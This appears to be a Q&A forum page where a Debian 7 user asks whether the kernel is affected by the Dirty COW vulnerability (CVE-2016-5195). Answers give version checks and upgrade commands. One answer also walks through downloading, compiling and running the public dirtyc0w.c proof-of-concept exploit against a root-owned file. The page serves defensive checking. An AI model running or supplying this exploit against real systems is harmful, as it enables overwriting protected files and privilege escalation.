16

I am running following version of Linux operating system.

Distributor ID: Debian
Description:    Debian GNU/Linux 7.2 (wheezy)
Release:        7.2
Codename:       wheezy

I am not sure whether this version is affected by CVE-2016-5195

Can some one help me out to clear my doubt?

Update : After running the command mentioned by AliCelebi I get following

3.2.28-cerberhost-0.6-modules-grsec
Improve this question
7
  • 34
    Just use Windows.
    – StackOverflowed
    Oct 25, 2016 at 14:10
  • 3
    So perhaps this is on a VPS, with the OS installed by the VPS provider? Perhaps its time to call customer support.
    – infixed
    Oct 25, 2016 at 14:26
  • 1
    After apt-get update && apt-get upgrade && apt-get dist-upgrade, make sure to reboot the box
    – user128641
    Oct 25, 2016 at 17:15
  • 8
    I think anyone who took my suggestion seriously... shouldn't have.
    – StackOverflowed
    Oct 25, 2016 at 22:03
  • 2
    @StackOverflowed Sadly, nuances of humor/sarcasm/etc don't convey themselves well when transcribed without additional cues that are normally non-verbal, and will inevitably be misconstrued given a broad-enough audience, especially when it's at all conceivable that a person somewhere in the world could make such a statement seriously.
    – mtraceur
    Oct 26, 2016 at 5:21

2 Answers 2

Reset to default
19

You can do uname -rv to find out your Linux kernel version. You will get an output similar to below:

4.4.0-42-generic #62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016

If your version is earlier than the following, you are affected:

  • 4.8.0-26.28 for Ubuntu 16.10

  • 4.4.0-45.66 for Ubuntu 16.04 LTS

  • 3.13.0-100.147 for Ubuntu 14.04 LTS

  • 3.2.0-113.155 for Ubuntu 12.04 LTS

  • 3.16.36-1+deb8u2 for Debian 8

  • 3.2.82-1 for Debian 7

  • 4.7.8-1 for Debian unstable

Improve this answer
2
  • The command shows: 3.2.28-cerberhost-0.6-modules-grsec
    – Mukesh
    Oct 25, 2016 at 11:32
  • It appears that your system is vulnerable to Dirty CoW. You can upgrade your Linux Kernel to stay protected against this vulnerability.
    – HadidAli
    Oct 25, 2016 at 11:55
5

According to security-tracker.debian, You need to run uname -a and verify your current kernel version .

wheezy  3.2.78-1                        vulnerable
wheezy (security)   3.2.82-1            fixed
jessie  3.16.36-1+deb8u1                vulnerable
jessie (security)   3.16.36-1+deb8u2    fixed
stretch, sid    4.7.8-1                 fixed

This vulnerability is patched under debian , by upgrading your system :

apt-get update
apt-get upgrade
apt-get dist-upgrade

Edit

How to make sure that my operating system is not affected by CVE-2016-5195?

You can try the following tutorial.

Download the exploit.

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

As root : Create the foo file:

su
echo this is not a test > foo

As user :

gcc -lpthread dirtyc0w.c -o dirtyc0w
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000

Verify your file:

cat foo

On vulnerable machine you will get m00000000000000000 as output.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .